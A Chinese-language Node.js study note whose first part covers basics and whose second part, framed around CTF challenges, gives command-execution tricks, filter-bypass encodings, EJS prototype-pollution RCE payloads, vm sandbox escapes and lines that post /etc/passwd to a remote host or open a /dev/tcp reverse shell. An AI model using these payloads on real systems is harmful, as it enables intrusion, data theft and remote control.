深入浅出NodeJS

基础

const fs = require('fs')
//其中const为定义,也可写为let
//fs是自己命名的
//require写法固定,类似于python中的import
//单引号中的为fs模块,fs模块适用于读写文件

//Buffer:
let buf = Buffer.alloc(10);
console.log(buf);

//fs模块:
const fs = require('fs');
fs.writeFile("./nodejs.txt","TestGood",erro =>{
    if(erro){
        console.log("ERROR");
        return;
    }
    console.log("yes!!!");
});

01_Buffer.pdf
02_fs模块.pdf
03_path模块.pdf
04_HTTP协议.pdf
05_NodeJS模块化.pdf
06_包管理工具.pdf
07_nvm.pdf
08_express框架.pdf
09_mongodb.pdf
10_接口.pdf
11_会话控制.pdf

变量和常量

变量

变量声明需要使用 var 关键字,如果没有使用 var 关键字变量会直接打印出来。
使用 var 关键字的变量可以使用 console.log() 来输出变量。

$ node 
> x = 10 
10 
> var y = 10 
undefined 
> x + y 
20 
> console.log("Hello World") 
Hello World 
undefined

常量

声明常量

在Node.js中,const 是一个用于声明常量的关键字。当你使用 const 关键字声明一个变量时,它表示这个变量的值是不可变的,也就是说它是一个常量。
使用 const 声明的变量在初始化后不能再被重新赋值。这意味着你不能改变 const 变量的值,而且在尝试这样做时,会引发一个错误。
下面是一个示例

const pi = 3.14159; 
const name = 'John Doe'; 

// 错误的示例,尝试修改常量的值 
pi = 3.14; // 引发错误 

// 错误的示例,尝试重新赋值常量 
name = 'Jane Doe'; // 引发错误 

虽然 const 声明的变量的值是不可变的,但如果变量是一个对象或数组,它们的属性或元素可以被修改。这是因为 const 只限制了变量的指向,而不限制对象或数组本身的修改

const person = {   name: 'John Doe',   age: 30 }; 
person.age = 31; // 合法,修改了对象的属性 
console.log(person); // 输出: { name: 'John Doe', age: 31 } 

总的来说,const 关键字用于声明不可变的常量,防止变量的重新赋值。但对于对象或数组,const 限制的是变量指向的对象,而不限制对象本身的修改。

全局变量

  • __dirname:当前模块的目录名。
  • __filename:当前模块的文件名。 这是当前的模块文件的绝对路径(符号链接会被解析)。
  • exports变量是默认赋值给 module.exports,它可以被赋予新值,它会暂时不会绑定到module.exports。
  • module:在每个模块中, module 的自由变量是对表示当前模块的对象的引用。 为方便起见,还可以通过全局模块的 exports 访问 module.exports 。 module 实际上不是全局的,而是每个模块本地的
  • require模块就不多说了,用于引入模块、 JSON、或本地文件。 可以从 node_modules 引入模块。
// 引入 JSON 文件: 
const jsonData = require(‘./path/filename.json’); 
// 引入 node_modules 模块或 Node.js 内置模块: 
const crypto = require(‘crypto’);

自己设置

global.something = 123;

经常使用的全局变量是__dirname 、__filename

同步和异步

区别

  • 同步:等待每个操作完成,然后只执行下一个操作
  • 异步:从不等待每个操作完成,而是只在第一步执行所有操作

Node.js 异步编程的直接体现就是回调。
异步编程依托于回调来实现,但不能说使用了回调后程序就异步化了。
回调函数在完成任务后就会被调用,Node 使用了大量的回调函数,Node 所有 API 都支持回调函数。
例如,我们可以一边读取文件,一边执行其他命令,在文件读取完成后,我们将文件内容作为回调函数的参数返回。这样在执行代码时就没有阻塞或等待文件 I/O 操作。这就大大提高了 Node.js 的性能,可以处理大量的并发请求。
回调函数一般作为函数的最后一个参数出现

function foo1(name, age, callback) { } 

function foo2(value, callback1, callback2) { }

阻塞代码实例

首先创建一个文件test.txt,文件内容是

hello world

创建js文件

var fs = require("fs"); 
var data = fs.readFileSync('test.txt'); 
console.log(data.toString()); 
console.log("程序执行结束!");

执行结果为

hello world 
程序执行结束!

非阻塞代码实例

var fs = require("fs"); 
fs.readFile('input.txt', function (err, data) {     
  if (err) return console.error(err);     
  console.log(data.toString()); }
           ); 
console.log("程序执行结束!");

执行结果为

程序执行结束! 
hello world

函数

在 JavaScript中,一个函数可以作为另一个函数的参数。我们可以先定义一个函数,然后传递,也可以在传递参数的地方直接定义函数。
Node.js 中函数的使用与 JavaScript 类似,比如说可以这样

function say(word) {   
  console.log(word); 
	} 

function execute(someFunction, value) {   
  someFunction(value); 
	} 

execute(say, "Hello");

以上代码中,我们把 say 函数作为 execute 函数的第一个变量进行了传递。这里传递的不是 say 的返回值,而是 say 本身!

这样一来, say 就变成了execute 中的本地变量 someFunction ,execute 可以通过调用 someFunction() (带括号的形式)来使用 say 函数。
当然,因为 say 有一个变量, execute 在调用 someFunction 时可以传递这样一个变量。

匿名函数

我们可以把一个函数作为变量传递。但是我们不一定要绕这个”先定义,再传递”的圈子,我们可以直接在另一个函数的括号中定义和传递这个函数:

function execute(someFunction, value) {   
  someFunction(value); 
	} 

execute(function(word){ console.log(word) }, "Hello");

我们在 execute 接受第一个参数的地方直接定义了我们准备传递给 execute 的函数。用这种方式,我们就不给这个函数起名字了。

关于console

在Node.js中,console 是一个全局对象,它提供了一组用于在终端或命令行界面输出消息的方法。它是一种调试和日志记录工具,可用于在开发过程中输出信息,进行调试和查看变量的值。
我们可以这样来使用console对象

  • 输出文本消息:使用 console.log() 方法输出一条或多条文本消息到控制台
console.log("Hello, world!");
  • 输出变量的值:您可以通过将变量放在输出语句中来查看其当前的值。
const name = "John"; console.log("Name:", name);
  • 格式化输出:您可以使用占位符和格式化字符串来创建更复杂的输出。
const age = 30; console.log("Name: %s, Age: %d", name, age);

HTTP服务

来看一个示例代码

const http = require('http');//首先要导入http模块 

const hostname = '127.0.0.1'; // 服务器主机名 
const port = 8080; // 服务器端口 // 创建 HTTP 服务器 

const server = http.createServer((req, res) => {   
  res.statusCode = 200; // 设置响应状态码   
  res.setHeader('Content-Type', 'text/plain'); // 设置响应头的 Content-Type   
  res.end('Hello, World!'); // 发送响应内容 }
  ); 
  
// 启动服务器并监听指定的主机名和端口 
server.listen(port, hostname, () => {   
  console.log(`Server running at http://${hostname}:${port}/`); 
	}
);


启动运行文件,访问指定的端口,HTTP服务的页面就显示出来了

启服务

以一道ctf题为演示,目录中存在package.json包文件,以及server.js NodeJS服务器文件

安装package.json包

在该目录下右键进入 powershell ,然后输入

npm install


如果只是安装一个包,例如 express ,只需要输入

npm install express

启动服务

只需要输入如下,就会启动一个服务在3000端口

node .\server.js

调试

Vscode 中自带 NodeJS 调试功能

NodeJS中的一些特性

大小写

toUpperCase() 在 JavaScript 中 是将小写改为大写的函数
但是就是在转换大小写的过程中 我们可以使用一些我们并不常见的字符 来转换出 我们所需要的字符 来绕过过滤

"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'


相对应的 toLowerCase() 也会有相关的特性(将大写转化为小写)

"K".toLowerCase() == 'k'

弱类型比较

与php相似,数字与数字字符串比较的时候,数字型字符串会被转换之后再比较

数字与数字字符串之间的比较

console.log(1=='1'); //true 
console.log(1>'2'); //false 
console.log('1'<'2'); //true 
console.log(111>'3'); //true 
console.log('111'>'3'); //false 
console.log('asd'>1); //false 
//最后一个字符串转换后是0,所以经过比较后为false 

字符串与字符串相比较

console.log([]==[]); //false 
console.log([]>[]); //false 
console.log([6,2]>[5]); //true 
console.log([100,2]<'test'); //true 
console.log([1,2]<'2');  //true 
console.log([11,16]<"10"); //false 
  • 空数组间的比较为false
  • 数组之间比较取第一个值进行比较,如果有字符串取第一个字符进行比较
  • 数组永远比非数组字符串小,比如[100,2]<’test’为true

其它比较

console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false 
console.log(NaN==NaN)  // 输出:false 
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

ES6模板字符串

我们可以使用反引号替代括号执行函数,可以用反引号替代单引号双引号,可以在反引号内插入变量。
但是有一点我们需要注意,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到 ${} 时,字符串会被分割。

var node = "nodejs";
console.log("hello %s",node);

var node = "nodejs"; 
console.log`hello${node}world`;

NodeJS中的命令执行

eval()

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
来看一个例子

var express = require("express"); 
var app = express(); 

app.get('/eval',function(req,res){     
  res.send(eval(req.query.a));     
  console.log(req.query.a); 
}) 

//参数 a 通过 get 传参的方式传入运行,我们传入参数会被当作代码去执行。 
var server = app.listen(1234, function() {     
  console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); 
})


我们可以看到 我们在上面的源码中 使用了eval函数
process 的作用是提供当前 node.js 进程信息并对其进行控制。
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
spawn() 启动一个子进程 来执行命令

spawn(命令,{shell:true})

settimeout()

setTimeout() 全局函数 - Web API 接口参考 | MDN
该函数作用是两秒后执行函数,function 处为我们可控的参数。

var express = require("express"); 
var app = express(); 

setTimeout(()=>{   
  console.log("console.log('Hacked')"); 
},2000); 

var server = app.listen(1234,function(){     
  console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); 
})

setinterval()

setinterval (function,time)

这个函数的作用是每隔两秒执行一次代码。

var express = require("express"); 
var app = express(); 

setInterval(()=>{   
  console.log("console.log('Hacked')"); 
},2000); 

var server = app.listen(1234,function(){     
  console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); 
})

function()

function(string)

string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。

var express = require("express"); 
var app = express(); 

var aaa=Function("console.log('Hacked')")(); 

var server = app.listen(1234,function(){     
  console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); 
})

child_process模块中的命令执行

首先我们来了解一下什么是child_process模块
child_process模块提供了与popen(3)类似但不完全相同的方式衍生子进程的能力。该库通过创建管道、分叉和调用外壳来打开一个进程。
child_process提供了几种创建子进程的方式

  • 异步方式:spawn、exec、execFile、fork
  • 同步方式:spawnSync、execSync、execFileSync

exec

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令

require('child_process').exec('calc'); //弹出计算器 
  • linux中的文件读取
require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');
  • 反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

execSync

child_process.execSync(command[, options]) | Node.js API 文档

require('child_process').execSync("ls");

execFile

启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。

require('child_process').execFile("calc",{shell:true});

fork

与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件

require('child_process').fork("./hacker.js");

spawn

require('child_process').spawn("calc",{shell:true});

PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用**global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)**来执行命令

NodeJS中的文件操作

那么在上面 我们已经可以执行我们像执行的代码 了 那么对于文件的操作也是很好实现的
操作函数后面有Sync 代表同步方法
nodejs文件系统模块中的方法均有异步和同步版本 比如读取文件内容的函数有 异步的 fs.readFile() 和 同步的 fs.readFileSync()。
异步的方法函数 最后一个 参数为 回调函数 回调函数的 第一个参数 包含了错误信息
建议使用异步方法 性能更高 速度更快
增删查改

res.end(require('fs').readdirSync('.').toString()) 	//读取当前目录下内容,"."为你的目录
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString()); 	//写文件
res.end(require('fs').readFileSync('./daigua.txt').toString()); 	//读文件
res.end(require('fs').rmdirSync('./daigua').toString());	//删除文件

在2023网信柏鹭杯出现过一道类似的题,使用 fs.readFileSync 进行文件读取
要满足 fs.readFileSync 的数组格式读取需要满足以下条件

  • 有 href 且非空
  • 有 origin 且非空
  • protocol 等于 file:
  • 有 hostname 且等于空(Windwos下非空的话会进行远程加载)
  • 有 pathname 且非空(读取的文件路径)

payload

?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=读取的文件

Bypass

过滤

通过我们上面对于nodejs命令执行的学习,我们知道在NodeJs中调用模块是通过“.”来实现的,假如说我们过滤了.,我们可以通过 [] 实现对于模块的调用

require('child_process')["exec"]('calc'); //require('child_process').exec('calc'); 

拼接绕过

对于过滤一些关键字,我们可以使用拼接的方法进行绕过

require('child_process')["ex"+"ec"]('calc'); //require('child_process')["exec"]('calc'); 

编码绕过

  1. 十六进制编码绕过

JavaScript是支持16进制作为字符串使用的,我们可以使用十六进制进行绕过

require('child_process')["\x65\x78\x65\x63"]('calc'); //require('child_process')["exec"]('calc'); 
  1. unicode编码绕过

JavaScript除了支持十六进制以外还支持Unicode编码作为字符串使用

require('child_process')["\u0065\u0078\u0065\u0063"]('calc'); //require('child_process')["exec"]('calc'); 
  1. base64编码绕过
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpWyJleGVjIl0oJ2NhbGMnKTs=','base64').toString()); //require('child_process')["exec"]('calc'); 

ES6模绕过

我们也可以使用ES6模板绕过,反引号后面加入模板

require('child_process')[`${`${`exe`}cSync`}`"]('calc'); 

concat拼接绕过

require('child_process')["exe".concat("c")]('calc');

Obejct.values

Object.values(obj)返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历属性的键值,有点类似JAVA中的反射例如我们获取child_process库的所有对象,我们可以根据我们自己的需要来获取对象。

> var x = Object.values(require('child_process'));
undefined
> console.log(x)
[
  [Function: _forkChild],
  [Function: ChildProcess],
  [Function: exec],
  [Function: execFile],
  [Function: execFileSync],
  [Function: execSync],
  [Function: fork],
  [Function: spawn],
  [Function: spawnSync]
]
undefined
> var x = Object.values(require('child_process'))[4]('whoami');
undefined
> console.log(x)
<Buffer 6c 61 70 74 6f 70 2d 68 76 35 6f 69 36 74 67 5c 68 65 68 61 6e 73 65 6e 0d 0a>


Buffer经过16进制转文字后是 laptop-hv5oi6tg\hehansen

同样可以执行calc

SQLI注入(待实践)

node.js 的 sql 注入和 php 这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码。

var mysql = require('mysql');
var express = require("express");
const app = express();

var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
  let sql=`select * from user where id= ${req.params.id}`;
  db.query(sql,(err,result)=>{
    if(err){
      console.log(err);
      res.send(err)
    }else{
      console.log(result);
      res.send(result)
    }
  })
});

原型链污染原理

以下为p神文章,这里为了方便直接复制过来:
深入理解 JavaScript Prototype 污染攻击

0x01 prototype和__proto__分别是什么?

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() {     
  this.bar = 1 
} 
new Foo()

Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。
语法糖(Syntactic sugar),也译为糖衣语法,是由英国计算机科学家彼得·约翰· 兰达 (Peter J. Landin)发明的一个术语,指 计算机语言 中添加的某种语法,这种语法对语言的功能并没有影响,但是更方便 程序员 使用。 通常来说使用语法糖能够增加程序的可读性,从而减少程序代码出错的机会。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {     
  this.bar = 1     
    this.show = function() {         
      console.log(this.bar)     
    } 
} 
(new Foo()).show()

但这样写有一个问题,就是每当我们新建一个Foo对象时, this.show = function… 就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

function Foo() {     
  this.bar = 1 
} 

Foo.prototype.show = function show() {     
  console.log(this.bar) 
} 

let foo = new Foo() 
foo.show()

我们可以认为原型 prototype 是类 Foo 的一个属性,而所有用 Foo 类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的 foo 对象,其天生就具有 foo.show() 方法。
我们可以通过 Foo.prototype 来访问 Foo 类的原型,但 Foo 实例化出来的对象,是不能通过 prototype 访问原型的。这时候,就该 proto 登场了。

一个 Foo 类实例化出来的 foo 对象,可以通过 foo.proto 属性来访问 Foo 类的原型,也就是说:

foo.__proto__ == Foo.prototype

所以,总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

0x02 JavaScript原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:

function Father() {     
  this.first_name = 'Donald'     
    this.last_name = 'Trump' 
} 

function Son() {     
  this.first_name = 'Melania' 
} 

Son.prototype = new Father() 
  
let son = new Son() 
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的 last_name 属性,最后输出的是 Name: Melania Trump。

总结一下,对于对象son,在调用 son.last_name 的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找 last_name
  2. 如果找不到,则在 son.proto 中寻找last_name
  3. 如果仍然找不到,则继续在 son.proto.proto 中寻找 last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype的__proto__ 就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作 prototype 继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数 (constructor) 都有一个原型对象 (prototype)
  2. 对象的 proto 属性,指向类的原型对象 prototype
  3. JavaScript使用 prototype 链实现继承机制

0x03 原型链污染是什么

第一章中说到,foo.proto 指向的是Foo类的 prototype 。那么,如果我们修改了 foo.proto 中的值,是不是就可以修改Foo类呢?
做个简单的实验:

// foo是一个简单的JavaScript对象 
let foo = {bar: 1} 

// foo.bar 此时为1 
console.log(foo.bar) 

// 修改foo的原型(即Object) 
foo.__proto__.bar = 2 

// 由于查找顺序的原因,foo.bar仍然是1 
console.log(foo.bar) 

// 此时再用Object创建一个空的zoo对象 
let zoo = {} 

// 查看zoo.bar 
console.log(zoo.bar)

最后,虽然zoo是一个空对象 {} ,但 zoo.bar 的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型 foo.proto.bar = 2,而 foo 是一个 Object 类的实例,所以实际上是修改了 Object 这个类,给这个类增加了一个属性 bar ,值为2。
后来,我们又用 Object 类创建了一个 zoo 对象 let zoo = {} ,zoo 对象自然也有一个 bar 属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

0x04 哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象 merge 到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {     
  for (let key in source) {         
    if (key in source && key in target) {             
      merge(target[key], source[key])         
    } else {             
      target[key] = source[key]         
    }     
  } 
}

在合并的过程中,存在赋值的操作 target[key] = source[key] ,那么,这个key如果是 proto ,是不是就可以原型链污染呢?
我们用如下代码实验一下:

let o1 = {} 
let o2 = {a: 1, "__proto__": {b: 2}} 
merge(o1, o2) 
console.log(o1.a, o1.b) 
  
o3 = {} 
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto“: {b: 2}})中,proto 已经代表 o2 的原型了,此时遍历 o2 的所有键名,你拿到的是 [a, b],proto 并不是一个key,自然也不会修改 Object 的原型。
那么,如何让 proto 被认为是一个键名呢?
我们将代码改成如下:

let o1 = {} 
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') 
merge(o1, o2) 
console.log(o1.a, o1.b) 
  
o3 = {} 
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

这是因为,JSON解析的情况下,proto 会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历 o2 的时候会存在这个键。
merge 操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

0x05 Code-Breaking 2018 Thejs 分析

我在Code-Breaking 2018中出了一道原型链污染的CTF题目,为了更加贴合真实环境,我没有刻意加太多自己的代码,后端主要代码如下(完整代码可参考这里):

// ... 
const lodash = require('lodash') 
// ... 

app.engine('ejs', function (filePath, options, callback) {  
// define the template engine    
  fs.readFile(filePath, (err, content) => {         
    if (err) return callback(new Error(err))        
    let compiled = lodash.template(content)         
    let rendered = compiled({...options})         
      
    return callback(null, rendered)     
  }) 
}) 
//... 

app.all('/', (req, res) => {     
  let data = req.session.data || {language: [], category: []}     
    if (req.method == 'POST') {         
      data = lodash.merge(data, req.body)         
      req.session.data = data     
    }     
  
  res.render('index', {         
    language: data.language,          
    category: data.category     
  }) 
})

lodash 是为了弥补 JavaScript 原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了 lodash 提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用 merge 方法合并到 session 里,多次提交,session 里最终保存你提交的所有信息。
而这里的 lodash.merge 操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的 lodash.template 中。我们看到 lodash.template 的代码:
https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

// Use a sourceURL for easier debugging. 
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; 
// ... 
var result = attempt(function() {  
  return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues); 
});

options 是一个对象,sourceURL 取到了其 options.sourceURL 属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个 sourceURL 被拼接进 new Function 的第二个参数中,造成任意代码执行漏洞。
我将带有__proto__ 的 Payload 以 json 的形式发送给后端,因为 express 框架支持根据 Content-Type 来解析请求 Body,这里给我们注入原型提供了很大方便:

可见,我们代码执行成功,返回了id命令的结果。
整个案例我觉得是一个非常经典的原型链污染漏洞教程,代码不多,逻辑不复杂,没有刻意创造漏洞,真正触发漏洞的代码在库中。
我一直觉得,出题不要刻意创造漏洞,而是找找你的知识点是否能在真实环境下找到应用。

相关文章

哪种情况下可以进行原型链污染

如果 我们需要利用原型链污染 那我们就需要设置 proto 的值 也就是需要找到能控制数组的键名的操作 最常见的就是

  1. merge
  2. clone
  3. copy

merge方法 是合并对象的方法 合并两个对象或者 多个对象的属性

function merge(target, source) {     
  for (let key in source) {         
    if (key in source && key in target) {             
      merge(target[key], source[key])         
    } 
    else {             
      target[key] = source[key]         
    }     
  } 
}

clone方法 就是克隆捏

Merge 类操作导致原型链污染

merge.recursiveMerge CVE-2020-28499

此 CVE 影响 2.1.1 以下的 merge 版本

Ejs 模块原型链污染

主要为两个函数的伪造:
opts.outputFunctionName
opts.escapeFunction

例一

test.js

var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
  res.render ("./test.ejs",{
    message: 'lufei test '
  });
});

//设置http
var server = app.listen(8081, function () {

  var host = server.address().address
  var port = server.address().port

  console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

test.ejs

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>

    <h1><%= message%></h1>

  </body>
</html>

payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}

例二

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
      this.isVIP = false;
      this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: 'login success!'});  
  }else{
    return res.json({ret_code: 2, ret_msg: 'login fail!'});  
  }

});

**payload1**:覆盖 opts.outputFunctionName , 这样构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE。

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}

**payload2**:伪造 opts.escapeFunction 也可以进行 RCE

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}}

补充: 在 ejs 模板中还有三个可控的参数, 分别为 opts.localsName 和 opts.destructuredLocals 和 opts.filename, 但是这三个无法构建出合适的污染链。

Undefsafe 模块原型链污染(CVE-2019-10795)

Undefsafe 是 NodeJS 下的一个第三方模块,其2.0.3版本以下的存在原型链污染
undefsafe原型链&[网鼎杯 2020 青龙组]notes_Je3Z的博客-CSDN博客

下载存在问题的版本模块:

npm install undefsafe@2.0.1

复现

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object.a.b.e)

console.log(object.a.c.e)


可以看到当我们正常访问 object 属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错
undefsafe 可以帮我们解决这个问题(undefsafe 本身就是用来解决报错使其不提示的)

var undef = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object.a.b.e)
//whoami
console.log(undef(object,'a.b.e'))
//whoami
console.log(undef(object,'a.c.e'))
//undefined
console.log(object.a.c.e)
//TypeError: Cannot read properties of undefined (reading 'e')


还有一个功能,在对对象赋值时,如果目标属性存在其可以帮助我们修改对应属性的值:

var undef = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object);
//{ a: { b: { c: 1, d: [Array], e: 'whoami' } } }
undef(object,"a.b.e",'123');
console.log(object);
//{ a: { b: { c: 1, d: [Array], e: '123' } } }


因此如果当属性不存在时,我们想对该属性赋值:

var undef = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object);
//{ a: { b: { c: 1, d: [Array], e: 'whoami' } } }
undef(object,"a.f.e",'321');
console.log(object);
//{ a: { b: { c: 1, d: [Array], e: 'whoami' }, e: '321' } }


访问属性会在上层进行创建并赋值
通过以上演示我们可知,undefsafe 是一款支持设置值的函数,不过在 undefsafe 模块在小于2.0.3版本,这个功能处存在原型链污染漏洞(CVE-2019-10795)。
我们在 2.0.3 版本中进行测试:

var undef = require("undefsafe");
var object = {
  a: {
    b: {
      c: 1,
      d: [1,2,3],
      e: 'whoami'
    }
  }
};
var payload = "__proto__.toString";
undef(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但是如果在低于 2.0.3 版本运行,则会得到如下输出:

可见,当 undefsafe() 函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值。

![22](../images/nodejs/22.png)var undef = require("undefsafe");
var test = {}
console.log('this is '+ test)    // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

var undef = require("undefsafe");
var test = {}
undef(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+ test)    // 将test对象与字符串'this is '进行拼接
// this is just a evil!

VM沙箱逃逸(待研究)

vm模块

vm 模块创建一个V8虚拟引擎 context(上下文、环境)来编译和运行代码。调用代码与被调用代码处于不同的 context,意味着它们的 global 对象是不同的。

const vm = require('vm');

// global下定义一个 x 变量
const x = 1;

// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context);          // 语境化 {x:2}

// code包含的代码将在 context 下执行,所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);

// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17

// global没有被改动
console.log(x); // 1; y is not defined.

逃逸

当使用vm创建一个context时,不能访问golbal对象,但是我们可以利用对象带有的constructor属性逃逸。

const vm = require("vm");
const env = vm.runInNewContext("this.constructor.constructor('return this.process.env')()");
console.log(env);

第一次调constructor得到Object Contrustor,第二次调constructor得到Function Contrustor,就是一个构造函数了。这里构造的函数内的语句为return this.process.env,那么控制process之后就能RCE了。

const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()`);
console.log(xyz);

vm2

var handler = {
  get () {
    console.log("get");
  }
};
var target = {};
var proxy = new Proxy(target, handler);

Object.prototype.has = function(t, k){
  console.log("has");
}

proxy.a; //触发get
"" in proxy; //触发has,这个has是在原型链上定义的w
"use strict";

var process;

Object.prototype.has = function (t, k) {
  process = t.constructor("return process")();
};

"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()

关于vm2的逃逸这里不过多赘述,师傅们可以自行参考。
vm2实现原理分析-安全客 - 安全资讯平台
vm2沙箱逃逸分析-安全客 - 安全资讯平台
[node审计]nodevm2_node 调用vm2-CSDN博客

参考文章

NodeJs从零到一 - 先知社区
深入理解 JavaScript Prototype 污染攻击
nodejs全覆盖 - 先知社区
奇安信攻防社区-NodeJS中的RCE的利用和绕过
奇安信攻防社区-prototype pollution attack
浅析NodeJS - 先知社区